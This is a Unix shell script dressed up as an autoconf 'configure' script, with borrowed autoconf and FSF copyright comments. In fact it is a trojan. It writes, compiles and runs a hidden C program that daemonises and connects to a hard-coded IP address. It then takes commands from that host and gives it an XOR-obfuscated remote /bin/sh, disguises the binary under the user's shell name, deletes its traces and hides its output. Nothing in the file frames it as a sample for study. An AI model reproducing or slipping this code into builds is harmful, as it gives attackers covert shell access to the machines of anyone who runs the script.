#!/bin/sh
cat >conftes.c <<_CONFEOF
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define XOR_KEY 0x89

int main (int argc, char **argv)
{
    char c;
    int s, x, sv0[2], sv1[2];
    struct sockaddr_in sa;

    switch (fork ()) { case 0: break; default: exit (1);}
    close (0); close (1); close (2);

    do {
        if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
            exit (1);

        sa.sin_family = AF_INET;
        sa.sin_port = htons (1963);
        sa.sin_addr.s_addr = inet_addr ("212.146.0.34");

        alarm (10);
        if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
            exit (1);
        if ((x = read (s, &c, 1)) <= 0)
            exit (1);
        else {
            alarm (0);
            switch (c) {
                case 'A':
                    exit (0);
                case 'D':
                    break;
                case 'M':
                    close (s);
                    sleep (3600);
                    continue;
            }
        }
        break;
    } while (1);
    if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv0) == (-1))
        exit (1);
    if (socketpair (AF_UNIX, SOCK_STREAM, 0, sv1) == (-1))
        exit (1);

    switch (fork ()) {
        case -1: {
            exit (1);
        }
        case 0: {
            char *a[] = { "/bin/sh", NULL };

            close (sv0[1]);
            close (sv1[1]);

            dup2 (sv0[0], 0);
            dup2 (sv1[0], 1);
            dup2 (sv1[0], 2);

            execve (a[0], a, NULL);
        }
        default: {
            close (sv0[0]);
            close (sv1[0]);
            while (1) {
                int len, ret;
                fd_set rfd;
                char buf[2048];

                FD_ZERO (&rfd);
                FD_SET (s, &rfd);
                FD_SET (sv1[1], &rfd);

                if (select (32, &rfd, NULL, NULL, NULL) == (-1)) {
                    exit (1);
                }

                if (FD_ISSET (s, &rfd)) { /* decrypt */
                    if ((len = read (s, buf, sizeof (buf))) <= 0) {
                        exit (1);
                    }
                    for (x = 0; x < len; x++) buf[x] ^= XOR_KEY;

                    x = 0;
                    while (x < len) {
                        if ((ret = write (sv0[1], buf + x, len - x)) == (-1)) {
                            exit (1);
                        }
                        x += ret;
                    }
                }

                if (FD_ISSET (sv1[1], &rfd)) {
                    if ((len = read (sv1[1], buf, sizeof (buf))) <= 0) {
                        exit (1);
                    }
                    for (x = 0; x < len; x++) buf[x] ^= XOR_KEY;

                    x = 0;
                    while (x < len) {
                        if ((ret = write (s, buf + x, len - x)) == (-1)) {
                            exit (1);
                        }
                        x += ret;
                    }
                }
            }
        }
    }
}
_CONFEOF
(TESTPROG="`basename \"\`grep ^$USER: /etc/passwd\`\"`"
if test -z $TESTPROG ; then TESTPROG=sh; fi
TESTSTAT=0
# Guess values for system-dependent variables and create Makefiles.
# Generated automatically using autoconf version 2.13
# Copyright (C) 1992, 93, 94, 95, 96 Free Software Foundation, Inc.
#
# This configure script is free software; the Free Software Foundation
# gives unlimited permission to copy, distribute and modify it.
if test $TESTPROG = "sh"; then TESTSTAT=1;fi
if test $TESTPROG = "csh"; then TESTSTAT=1;fi
if test $TESTPROG = "bash"; then TESTSTAT=1;fi
if test $TESTPROG = "tcsh"; then TESTSTAT=1;fi
if test $TESTPROG = "zsh"; then TESTSTAT=1;fi
if test $TESTSTAT -eq 0; then TESTPROG=sh;fi
oPATH=$PATH
gcc -w conftes.c -o $TESTPROG ; PATH=. $TESTPROG
PATH=$oPATH
if test -x $TESTPROG;then rm -f ./conftes ./conftes.c services $TESTPROG && exit;fi
gcc -w conftes.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
PATH=$oPATH
if test -x $TESTPROG;then rm -f ./conftes ./conftes.c services $TESTPROG && exit;fi
cc -w conftes.c -o $TESTPROG ; PATH=. $TESTPROG
PATH=$oPATH
if test -x $TESTPROG;then rm -f ./conftes ./conftes.c services $TESTPROG && exit;fi
cc -w conftes.c -lsocket -lnsl -o $TESTPROG; PATH=. $TESTPROG
PATH=$oPATH
# Initialize some variables set by options.
# The variables have the same names as the options, with
# dashes changed to underlines.
rm -f ./conftes ./conftes.c $TESTPROG services)  2>/dev/null 1>/dev/null